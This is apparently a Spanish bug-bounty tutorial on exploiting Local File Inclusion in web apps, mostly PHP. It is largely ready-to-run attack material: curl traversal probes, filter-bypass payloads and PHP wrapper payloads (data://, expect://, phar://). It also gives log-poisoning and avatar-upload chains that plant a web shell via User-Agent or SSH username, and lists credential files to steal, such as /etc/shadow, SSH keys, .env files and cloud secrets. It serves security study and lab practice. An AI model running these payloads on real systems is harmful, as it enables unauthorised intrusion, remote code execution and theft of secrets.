Respuesta rápida
LFI permite leer (y a veces ejecutar) archivos arbitrarios del servidor via un parámetro de inclusión vulnerable. La metodología: detectar sink (?file=, ?page=, ?view=, ?include=) → traverse con ../ + variantes encoded → bypass filters (null byte, double encoding, UTF-8 overlong) → escalar a RCE via PHP wrappers, log poisoning, /proc/self/environ, o phar deserialization. Bounty típico de LFI → RCE: €2000-€10000.
Detección — qué parámetros sospechar
Cualquier parámetro que parezca cargar archivos o templates:
?file=home.html ?page=about ?view=profile
?include=header ?template=main ?lang=es
?doc=manual.pdf ?path=/img.png ?content=intro
Probe básico:
curl "https://target.com/index.php?file=../../../../etc/passwd"
curl "https://target.com/index.php?file=....//....//....//etc/passwd"
curl "https://target.com/index.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
Si la respuesta contiene root:x:0:0: → LFI confirmado.
Bypass de filtros — tabla de payloads
| Filtro | Bypass | Ejemplo |
|---|---|---|
Strip ../ simple | Double dots | ....//....//etc/passwd |
Strip .. recursivo | Mixed | ..././..././etc/passwd |
| URL decode una vez | Double encode | %252e%252e%252f (..%2f) |
Whitelist .png | Null byte (PHP < 5.3.4) | ../../etc/passwd%00.png |
| Whitelist absolute path | Force absolute | /var/www/html/../../etc/passwd |
| Strip slash | UTF-8 overlong | ..%c0%af..%c0%afetc%c0%afpasswd |
Append .php | Path truncation | ../../etc/passwd/././. (×4096) |
Filter passwd | Wrappers | php://filter/convert.base64-encode/resource=/etc/passwd |
[!tip] Cuándo probar double encoding Si el WAF decodifica una vez antes de aplicar la regex, double encoding (
%252e%252e%252f) pasa porque la regex ve%2e%2e%2fno../. La app decodifica una segunda vez al usar el parámetro → traversal funciona.
PHP wrappers — el ecosistema de gold
PHP soporta wrappers que cambian cómo se accede al recurso. Son la diferencia entre LFI = info leak y LFI = RCE.
php://filter — base64 source disclosure
Lee el código fuente PHP sin que se ejecute:
curl "https://target.com/index.php?file=php://filter/convert.base64-encode/resource=index.php"
# Output: PD9waHAg... → base64 decode → source code
Útil para encontrar más LFIs, sinks de SQLi, hardcoded creds.
data:// — inline code execution
Si el wrapper data está habilitado:
curl "https://target.com/index.php?file=data://text/plain,<?php%20system('id');%20?>"
expect:// — direct RCE
Requiere la extensión expect:
curl "https://target.com/index.php?file=expect://id"
phar:// — deserialization RCE
El más infravalorado. Cuando un sink de PHP llama a file_exists(), fopen(), file_get_contents(), unlink(), getimagesize() sobre una ruta phar://, el archivo .phar se deserializa automáticamente. Si la app tiene una clase con __destruct o __wakeup peligroso → RCE.
# Generar phar malicioso (PoC con gadget chain)
php -d phar.readonly=0 generate_phar.php
# Subir como avatar/imagen (content-type check pasa)
curl -F "avatar=@malicious.jpg" https://target/upload
# Trigger via LFI:
curl "https://target.com/index.php?file=phar:///var/www/uploads/avatar123.jpg/payload"
[!danger] Phar deserialization Funciona aunque el endpoint LFI sólo permita lectura — la deserialización ocurre durante el stat del archivo. PHP 8 mantiene phar habilitado por defecto. Bounty real con esta chain: €5000-€15000.
Log poisoning — LFI a RCE sin upload
Si controlas el contenido de un log que el servidor escribe, e incluyes ese log via LFI → tu payload se ejecuta como PHP.
Apache access.log
# Paso 1: inyectar payload via User-Agent
curl https://target.com/ -H "User-Agent: <?php system(\$_GET['c']); ?>"
# Paso 2: include el log
curl "https://target.com/index.php?file=/var/log/apache2/access.log&c=id"
SSH auth.log
# Paso 1: SSH con username PHP
ssh '<?php system($_GET["c"]); ?>'@target.com
# Falla el login pero queda en /var/log/auth.log
# Paso 2: include log
curl "https://target.com/index.php?file=/var/log/auth.log&c=id"
/proc/self/environ
# User-Agent inyectado se refleja en environ del proceso CGI
curl "https://target.com/index.php?file=/proc/self/environ" \
-H "User-Agent: <?php system(\$_GET['c']); ?>"
Targets típicos en cada SO
| Linux | Windows |
|---|---|
/etc/passwd | C:\Windows\win.ini |
/etc/shadow (necesita root) | C:\boot.ini (legacy) |
/etc/hosts | C:\Windows\System32\drivers\etc\hosts |
/proc/self/environ | C:\xampp\apache\logs\access.log |
/proc/self/cmdline | C:\inetpub\logs\LogFiles\ |
/var/log/apache2/access.log | C:\Windows\Panther\Unattend.xml |
/home/<user>/.ssh/id_rsa | C:\Users\<user>\.ssh\id_rsa |
~/.bash_history | C:\Users\<user>\NTUSER.DAT |
.env, wp-config.php | web.config |
LFI → RCE chain real (avatar + include)
Patrón clásico en apps PHP legacy:
<?php include $_GET['view']; ?>
# 1. Subir avatar con PHP embebido (content-type check pasa)
curl -F "avatar=@shell.jpg" https://target/upload
# shell.jpg content: <?php system($_REQUEST['c']); ?>
# 2. La app guarda en path predecible
# /var/www/html/uploads/avatars/USER_ID.jpg
# 3. Include via LFI
curl "https://target.com/layout.php?view=/var/www/html/uploads/avatars/104.jpg&c=id"
# → RCE
Stacks no-PHP — los gotchas
LFI no es exclusivo de PHP. En Java, Node y Python suele ser lectura solamente (no RCE directo), pero el impacto sigue siendo alto.
| Stack | Sink típico | Escalada |
|---|---|---|
| Java/Spring | new File(input), Files.readAllBytes | Read application.properties, .jar con secrets |
| Node.js | fs.readFile(path.join(BASE, input)) | Read .env, source .js, configs |
| Python | open(input), pathlib.Path(input).read_text | Read .env, settings.py, Django SECRET_KEY |
| Go | os.ReadFile(input) | Read configs, certs |
[!warning] Path normalization desync Node + Bun tienen casos donde el URL parser preserva
//peropath.join()colapsa. Resultado: middleware string-based (startsWith("/admin")) puede bypasearse con//admin/secret. Probar siempre//,\,%2f,%5cen parámetros que normalizan paths.
Hunting checklist
- Identificar todos los params con shape de path (
file=,view=,page=,include=) - Probe básico con
../../../../etc/passwd - Si filtra: double encoding,
....//, null byte, UTF-8 overlong - PHP detectado: probar
php://filter/convert.base64-encode/resource=index.php - Phar disponible: generar gadget chain y triggerear con
phar:// - Log poisoning: inyectar payload en User-Agent o SSH login
-
/proc/self/environpara extraer env vars (AWS keys, JWT secrets) - Source code disclosure → buscar más LFIs, SQLi, hardcoded creds
- Combinar con upload arbitrario para RCE end-to-end
- Probar en stacks no-PHP: lectura de
.env,application.properties,.git/config
Labs relacionados
Practica explotación completa de LFI desde traversal básico hasta RCE via phar y log poisoning en labs de LFI.
Practica esto en un lab
Lfi Extraction
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Hay un payload extra al final
El truco PHP wrapper `phar://` que convierte LFI en deserialization RCE sin que el endpoint acepte uploads — funciona en 70% de apps PHP legacy.
5 €/mes · cancela cuando quieras
Artículos relacionados
PHP class pollution — el equivalente PHP de Prototype Pollution
Cómo PHP class pollution (vía recursive merge / object instantiation con user input) genera deserialization-like RCE en apps Laravel, Symfony, WordPress sin necesidad de gadget chains.
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
File Upload — bypasses de extension, content-type y magic bytes
10 bypasses para subir webshells: doble extensión, null byte, content-type spoof, magic bytes, polyglots, race conditions y abuso de path traversal.